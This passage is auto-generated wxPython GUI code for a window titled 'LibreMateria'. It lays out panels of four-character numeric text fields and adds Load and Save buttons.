wxID_FRAME2TEXTCTRL31, \n wxID_FRAME2TEXTCTRL32, wxID_FRAME2TEXTCTRL33, wxID_FRAME2TEXTCTRL34, \n wxID_FRAME2TEXTCTRL35, wxID_FRAME2TEXTCTRL36, wxID_FRAME2TEXTCTRL37, \n wxID_FRAME2TEXTCTRL38, wxID_FRAME2TEXTCTRL39, wxID_FRAME2TEXTCTRL4, \n wxID_FRAME2TEXTCTRL40, wxID_FRAME2TEXTCTRL41, wxID_FRAME2TEXTCTRL42, \n wxID_FRAME2TEXTCTRL43, wxID_FRAME2TEXTCTRL44, wxID_FRAME2TEXTCTRL45, \n wxID_FRAME2TEXTCTRL46, wxID_FRAME2TEXTCTRL47, wxID_FRAME2TEXTCTRL48, \n wxID_FRAME2TEXTCTRL49, wxID_FRAME2TEXTCTRL5, wxID_FRAME2TEXTCTRL50, \n wxID_FRAME2TEXTCTRL51, wxID_FRAME2TEXTCTRL52, wxID_FRAME2TEXTCTRL53, \n wxID_FRAME2TEXTCTRL54, wxID_FRAME2TEXTCTRL55, wxID_FRAME2TEXTCTRL56, \n wxID_FRAME2TEXTCTRL57, wxID_FRAME2TEXTCTRL58, wxID_FRAME2TEXTCTRL59, \n wxID_FRAME2TEXTCTRL6, wxID_FRAME2TEXTCTRL60, wxID_FRAME2TEXTCTRL61, \n wxID_FRAME2TEXTCTRL62, wxID_FRAME2TEXTCTRL63, wxID_FRAME2TEXTCTRL64, \n wxID_FRAME2TEXTCTRL65, wxID_FRAME2TEXTCTRL66, wxID_FRAME2TEXTCTRL67, \n wxID_FRAME2TEXTCTRL68, wxID_FRAME2TEXTCTRL69, wxID_FRAME2TEXTCTRL7, \n wxID_FRAME2TEXTCTRL70, wxID_FRAME2TEXTCTRL71, wxID_FRAME2TEXTCTRL72, \n wxID_FRAME2TEXTCTRL73, wxID_FRAME2TEXTCTRL74, wxID_FRAME2TEXTCTRL75, \n wxID_FRAME2TEXTCTRL76, wxID_FRAME2TEXTCTRL77, wxID_FRAME2TEXTCTRL78, \n wxID_FRAME2TEXTCTRL79, wxID_FRAME2TEXTCTRL8, wxID_FRAME2TEXTCTRL80, \n wxID_FRAME2TEXTCTRL81, wxID_FRAME2TEXTCTRL82, wxID_FRAME2TEXTCTRL83, \n wxID_FRAME2TEXTCTRL84, wxID_FRAME2TEXTCTRL85, wxID_FRAME2TEXTCTRL86, \n wxID_FRAME2TEXTCTRL87, wxID_FRAME2TEXTCTRL88, wxID_FRAME2TEXTCTRL89, \n wxID_FRAME2TEXTCTRL9, wxID_FRAME2TEXTCTRL90, wxID_FRAME2TEXTCTRL91, \n wxID_FRAME2TEXTCTRL92, wxID_FRAME2TEXTCTRL93, wxID_FRAME2TEXTCTRL94, \n wxID_FRAME2TEXTCTRL95, wxID_FRAME2TEXTCTRL96, wxID_FRAME2TEXTCTRL97, \n wxID_FRAME2TEXTCTRL98, wxID_FRAME2TEXTCTRL99, \n] = [wx.NewId() for _init_ctrls in range(227)]\n\nclass Frame2(wx.Frame):\n\n def _init_ctrls(self, prnt):\n # generated method, don't edit\n wx.Frame.__init__(self, id=wxID_FRAME2, name='', parent=prnt,\n pos=wx.Point(981, 251), size=wx.Size(539, 605),\n style=wx.DEFAULT_FRAME_STYLE, title='LibreMateria')\n self.SetClientSize(wx.Size(523, 566))\n\n self.panel1 = wx.Panel(id=wxID_FRAME2PANEL1, name='panel1', parent=self,\n pos=wx.Point(136, 24), size=wx.Size(432, 544),\n style=wx.TAB_TRAVERSAL)\n\n self.panel2 = wx.Panel(id=wxID_FRAME2PANEL2, name='panel2',\n parent=self.panel1, pos=wx.Point(8, 8), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel2.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl1 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL1, name='textCtrl1',\n parent=self.panel2, pos=wx.Point(56, 0), size=wx.Size(40, 24),\n style=0, value=u'0')\n self.textCtrl1.SetMaxLength(4)\n self.textCtrl1.SetInsertionPoint(0)\n self.textCtrl1.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl2 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL2, name='textCtrl2',\n parent=self.panel2, pos=wx.Point(96, 0), size=wx.Size(40, 24),\n style=0, value=u'0')\n self.textCtrl2.SetMaxLength(4)\n self.textCtrl2.SetInsertionPoint(0)\n self.textCtrl2.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl3 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL3, name='textCtrl3',\n parent=self.panel2, pos=wx.Point(136, 0), size=wx.Size(40, 24),\n style=0, value=u'0')\n self.textCtrl3.SetMaxLength(4)\n self.textCtrl3.SetInsertionPoint(0)\n self.textCtrl3.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl4 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL4, name='textCtrl4',\n parent=self.panel2, pos=wx.Point(176, 0), size=wx.Size(40, 24),\n style=0, value=u'0')\n self.textCtrl4.SetMaxLength(4)\n self.textCtrl4.SetInsertionPoint(0)\n self.textCtrl4.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl5 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL5, name='textCtrl5',\n parent=self.panel2, pos=wx.Point(216, 0), size=wx.Size(40, 24),\n style=0, value=u'0')\n self.textCtrl5.SetMaxLength(4)\n self.textCtrl5.SetInsertionPoint(0)\n self.textCtrl5.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl6 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL6, name='textCtrl6',\n parent=self.panel2, pos=wx.Point(256, 0), size=wx.Size(40, 24),\n style=0, value=u'0')\n self.textCtrl6.SetMaxLength(4)\n self.textCtrl6.SetInsertionPoint(0)\n self.textCtrl6.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl7 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL7, name='textCtrl7',\n parent=self.panel2, pos=wx.Point(296, 0), size=wx.Size(40, 24),\n style=0, value=u'0')\n self.textCtrl7.SetMaxLength(4)\n self.textCtrl7.SetInsertionPoint(0)\n self.textCtrl7.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl8 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL8, name='textCtrl8',\n parent=self.panel2, pos=wx.Point(336, 0), size=wx.Size(40, 24),\n style=0, value=u'0')\n self.textCtrl8.SetMaxLength(4)\n self.textCtrl8.SetInsertionPoint(0)\n self.textCtrl8.SetMinSize(wx.Size(40, 24))\n\n self.panel3 = wx.Panel(id=wxID_FRAME2PANEL3, name='panel3',\n parent=self.panel1, pos=wx.Point(8, 32), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel3.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl9 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL9, name='textCtrl9',\n parent=self.panel3, pos=wx.Point(56, 0), size=wx.Size(40, 24),\n style=0, value=u'0')\n self.textCtrl9.SetMaxLength(4)\n self.textCtrl9.SetInsertionPoint(0)\n self.textCtrl9.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl10 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL10,\n name='textCtrl10', parent=self.panel3, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl10.SetMaxLength(4)\n self.textCtrl10.SetInsertionPoint(0)\n self.textCtrl10.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl11 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL11,\n name='textCtrl11', parent=self.panel3, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl11.SetMaxLength(4)\n self.textCtrl11.SetInsertionPoint(0)\n self.textCtrl11.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl12 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL12,\n name='textCtrl12', parent=self.panel3, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl12.SetMaxLength(4)\n self.textCtrl12.SetInsertionPoint(0)\n self.textCtrl12.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl13 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL13,\n name='textCtrl13', parent=self.panel3, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl13.SetMaxLength(4)\n self.textCtrl13.SetInsertionPoint(0)\n self.textCtrl13.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl14 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL14,\n name='textCtrl14', parent=self.panel3, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl14.SetMaxLength(4)\n self.textCtrl14.SetInsertionPoint(0)\n self.textCtrl14.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl15 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL15,\n name='textCtrl15', parent=self.panel3, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl15.SetMaxLength(4)\n self.textCtrl15.SetInsertionPoint(0)\n self.textCtrl15.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl16 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL16,\n name='textCtrl16', parent=self.panel3, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl16.SetMaxLength(4)\n self.textCtrl16.SetInsertionPoint(0)\n self.textCtrl16.SetMinSize(wx.Size(40, 24))\n\n self.panel4 = wx.Panel(id=wxID_FRAME2PANEL4, name='panel4',\n parent=self.panel1, pos=wx.Point(8, 56), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel4.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl17 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL17,\n name='textCtrl17', parent=self.panel4, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl17.SetMaxLength(4)\n self.textCtrl17.SetInsertionPoint(0)\n self.textCtrl17.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl18 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL18,\n name='textCtrl18', parent=self.panel4, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl18.SetMaxLength(4)\n self.textCtrl18.SetInsertionPoint(0)\n self.textCtrl18.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl19 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL19,\n name='textCtrl19', parent=self.panel4, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl19.SetMaxLength(4)\n self.textCtrl19.SetInsertionPoint(0)\n self.textCtrl19.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl20 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL20,\n name='textCtrl20', parent=self.panel4, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl20.SetMaxLength(4)\n self.textCtrl20.SetInsertionPoint(0)\n self.textCtrl20.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl21 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL21,\n name='textCtrl21', parent=self.panel4, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl21.SetMaxLength(4)\n self.textCtrl21.SetInsertionPoint(0)\n self.textCtrl21.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl22 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL22,\n name='textCtrl22', parent=self.panel4, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl22.SetMaxLength(4)\n self.textCtrl22.SetInsertionPoint(0)\n self.textCtrl22.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl23 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL23,\n name='textCtrl23', parent=self.panel4, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl23.SetMaxLength(4)\n self.textCtrl23.SetInsertionPoint(0)\n self.textCtrl23.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl24 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL24,\n name='textCtrl24', parent=self.panel4, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl24.SetMaxLength(4)\n self.textCtrl24.SetInsertionPoint(0)\n self.textCtrl24.SetMinSize(wx.Size(40, 24))\n\n self.panelButtons = wx.Panel(id=wxID_FRAME2PANELBUTTONS,\n name=u'panelButtons', parent=self, pos=wx.Point(0, 0),\n size=wx.Size(136, 568), style=wx.TAB_TRAVERSAL)\n\n self.button2 = wx.Button(id=wxID_FRAME2BUTTON2, label=u'Save',\n name='button2', parent=self.panelButtons, pos=wx.Point(16, 112),\n size=wx.Size(104, 40), style=0)\n self.button2.Bind(wx.EVT_BUTTON, self.OnButton2Button,\n id=wxID_FRAME2BUTTON2)\n\n self.button1 = wx.Button(id=wxID_FRAME2BUTTON1, label=u'Load',\n name='button1', parent=self.panelButtons, pos=wx.Point(16, 64),\n size=wx.Size(104, 40), style=0)\n self.button1.Bind(wx.EVT_BUTTON, self.OnButton1Button,\n id=wxID_FRAME2BUTTON1)\n\n self.panel5 = wx.Panel(id=wxID_FRAME2PANEL5, name=u'panel5',\n parent=self.panel1, pos=wx.Point(8, 80), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel5.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl25 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL25,\n name='textCtrl25', parent=self.panel5, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl25.SetMaxLength(4)\n self.textCtrl25.SetInsertionPoint(0)\n self.textCtrl25.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl26 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL26,\n name='textCtrl26', parent=self.panel5, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl26.SetMaxLength(4)\n self.textCtrl26.SetInsertionPoint(0)\n self.textCtrl26.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl27 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL27,\n name='textCtrl27', parent=self.panel5, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl27.SetMaxLength(4)\n self.textCtrl27.SetInsertionPoint(0)\n self.textCtrl27.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl28 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL28,\n name='textCtrl28', parent=self.panel5, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl28.SetMaxLength(4)\n self.textCtrl28.SetInsertionPoint(0)\n self.textCtrl28.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl29 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL29,\n name='textCtrl29', parent=self.panel5, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl29.SetMaxLength(4)\n self.textCtrl29.SetInsertionPoint(0)\n self.textCtrl29.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl30 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL30,\n name='textCtrl30', parent=self.panel5, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl30.SetMaxLength(4)\n self.textCtrl30.SetInsertionPoint(0)\n self.textCtrl30.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl31 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL31,\n name='textCtrl31', parent=self.panel5, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl31.SetMaxLength(4)\n self.textCtrl31.SetInsertionPoint(0)\n self.textCtrl31.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl32 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL32,\n name='textCtrl32', parent=self.panel5, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl32.SetMaxLength(4)\n self.textCtrl32.SetInsertionPoint(0)\n self.textCtrl32.SetMinSize(wx.Size(40, 24))\n\n self.panel6 = wx.Panel(id=wxID_FRAME2PANEL6, name='panel6',\n parent=self.panel1, pos=wx.Point(8, 104), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel6.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl33 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL33,\n name='textCtrl33', parent=self.panel6, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl33.SetMaxLength(4)\n self.textCtrl33.SetInsertionPoint(0)\n self.textCtrl33.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl34 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL34,\n name='textCtrl34', parent=self.panel6, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl34.SetMaxLength(4)\n self.textCtrl34.SetInsertionPoint(0)\n self.textCtrl34.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl35 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL35,\n name='textCtrl35', parent=self.panel6, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl35.SetMaxLength(4)\n self.textCtrl35.SetInsertionPoint(0)\n self.textCtrl35.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl36 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL36,\n name='textCtrl36', parent=self.panel6, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl36.SetMaxLength(4)\n self.textCtrl36.SetInsertionPoint(0)\n self.textCtrl36.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl37 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL37,\n name='textCtrl37', parent=self.panel6, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl37.SetMaxLength(4)\n self.textCtrl37.SetInsertionPoint(0)\n self.textCtrl37.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl38 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL38,\n name='textCtrl38', parent=self.panel6, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl38.SetMaxLength(4)\n self.textCtrl38.SetInsertionPoint(0)\n self.textCtrl38.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl39 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL39,\n name='textCtrl39', parent=self.panel6, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl39.SetMaxLength(4)\n self.textCtrl39.SetInsertionPoint(0)\n self.textCtrl39.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl40 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL40,\n name='textCtrl40', parent=self.panel6, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl40.SetMaxLength(4)\n self.textCtrl40.SetInsertionPoint(0)\n self.textCtrl40.SetMinSize(wx.Size(40, 24))\n\n self.panel7 = wx.Panel(id=wxID_FRAME2PANEL7, name='panel7',\n parent=self.panel1, pos=wx.Point(8, 128), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel7.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl41 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL41,\n name='textCtrl41', parent=self.panel7, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl41.SetMaxLength(4)\n self.textCtrl41.SetInsertionPoint(0)\n self.textCtrl41.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl42 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL42,\n name='textCtrl42', parent=self.panel7, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl42.SetMaxLength(4)\n self.textCtrl42.SetInsertionPoint(0)\n self.textCtrl42.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl43 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL43,\n name='textCtrl43', parent=self.panel7, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl43.SetMaxLength(4)\n self.textCtrl43.SetInsertionPoint(0)\n self.textCtrl43.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl44 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL44,\n name='textCtrl44', parent=self.panel7, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl44.SetMaxLength(4)\n self.textCtrl44.SetInsertionPoint(0)\n self.textCtrl44.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl45 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL45,\n name='textCtrl45', parent=self.panel7, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl45.SetMaxLength(4)\n self.textCtrl45.SetInsertionPoint(0)\n self.textCtrl45.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl46 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL46,\n name='textCtrl46', parent=self.panel7, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl46.SetMaxLength(4)\n self.textCtrl46.SetInsertionPoint(0)\n self.textCtrl46.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl47 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL47,\n name='textCtrl47', parent=self.panel7, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl47.SetMaxLength(4)\n self.textCtrl47.SetInsertionPoint(0)\n self.textCtrl47.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl48 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL48,\n name='textCtrl48', parent=self.panel7, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl48.SetMaxLength(4)\n self.textCtrl48.SetInsertionPoint(0)\n self.textCtrl48.SetMinSize(wx.Size(40, 24))\n\n self.panel8 = wx.Panel(id=wxID_FRAME2PANEL8, name='panel8',\n parent=self.panel1, pos=wx.Point(8, 152), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel8.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl49 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL49,\n name='textCtrl49', parent=self.panel8, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl49.SetMaxLength(4)\n self.textCtrl49.SetInsertionPoint(0)\n self.textCtrl49.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl50 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL50,\n name='textCtrl50', parent=self.panel8, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl50.SetMaxLength(4)\n self.textCtrl50.SetInsertionPoint(0)\n self.textCtrl50.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl51 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL51,\n name='textCtrl51', parent=self.panel8, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl51.SetMaxLength(4)\n self.textCtrl51.SetInsertionPoint(0)\n self.textCtrl51.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl52 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL52,\n name='textCtrl52', parent=self.panel8, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl52.SetMaxLength(4)\n self.textCtrl52.SetInsertionPoint(0)\n self.textCtrl52.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl53 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL53,\n name='textCtrl53', parent=self.panel8, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl53.SetMaxLength(4)\n self.textCtrl53.SetInsertionPoint(0)\n self.textCtrl53.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl54 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL54,\n name='textCtrl54', parent=self.panel8, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl54.SetMaxLength(4)\n self.textCtrl54.SetInsertionPoint(0)\n self.textCtrl54.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl55 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL55,\n name='textCtrl55', parent=self.panel8, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl55.SetMaxLength(4)\n self.textCtrl55.SetInsertionPoint(0)\n self.textCtrl55.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl56 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL56,\n name='textCtrl56', parent=self.panel8, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl56.SetMaxLength(4)\n self.textCtrl56.SetInsertionPoint(0)\n self.textCtrl56.SetMinSize(wx.Size(40, 24))\n\n self.panel9 = wx.Panel(id=wxID_FRAME2PANEL9, name='panel9',\n parent=self.panel1, pos=wx.Point(8, 176), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel9.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl57 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL57,\n name='textCtrl57', parent=self.panel9, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl57.SetMaxLength(4)\n self.textCtrl57.SetInsertionPoint(0)\n self.textCtrl57.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl58 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL58,\n name='textCtrl58', parent=self.panel9, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl58.SetMaxLength(4)\n self.textCtrl58.SetInsertionPoint(0)\n self.textCtrl58.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl59 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL59,\n name='textCtrl59', parent=self.panel9, pos=wx.Point(136, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl59.SetMaxLength(4)\n self.textCtrl59.SetInsertionPoint(0)\n self.textCtrl59.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl60 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL60,\n name='textCtrl60', parent=self.panel9, pos=wx.Point(176, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl60.SetMaxLength(4)\n self.textCtrl60.SetInsertionPoint(0)\n self.textCtrl60.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl61 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL61,\n name='textCtrl61', parent=self.panel9, pos=wx.Point(216, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl61.SetMaxLength(4)\n self.textCtrl61.SetInsertionPoint(0)\n self.textCtrl61.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl62 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL62,\n name='textCtrl62', parent=self.panel9, pos=wx.Point(256, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl62.SetMaxLength(4)\n self.textCtrl62.SetInsertionPoint(0)\n self.textCtrl62.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl63 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL63,\n name='textCtrl63', parent=self.panel9, pos=wx.Point(296, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl63.SetMaxLength(4)\n self.textCtrl63.SetInsertionPoint(0)\n self.textCtrl63.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl64 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL64,\n name='textCtrl64', parent=self.panel9, pos=wx.Point(336, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl64.SetMaxLength(4)\n self.textCtrl64.SetInsertionPoint(0)\n self.textCtrl64.SetMinSize(wx.Size(40, 24))\n\n self.panel10 = wx.Panel(id=wxID_FRAME2PANEL10, name='panel10',\n parent=self.panel1, pos=wx.Point(8, 200), size=wx.Size(376, 26),\n style=wx.TAB_TRAVERSAL)\n self.panel10.SetMinSize(wx.Size(200, 26))\n\n self.textCtrl65 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL65,\n name='textCtrl65', parent=self.panel10, pos=wx.Point(56, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl65.SetMaxLength(4)\n self.textCtrl65.SetInsertionPoint(0)\n self.textCtrl65.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl66 = wx.TextCtrl(id=wxID_FRAME2TEXTCTRL66,\n name='textCtrl66', parent=self.panel10, pos=wx.Point(96, 0),\n size=wx.Size(40, 24), style=0, value=u'0')\n self.textCtrl66.SetMaxLength(4)\n self.textCtrl66.SetInsertionPoint(0)\n self.textCtrl66.SetMinSize(wx.Size(40, 24))\n\n self.textCtrl67 = 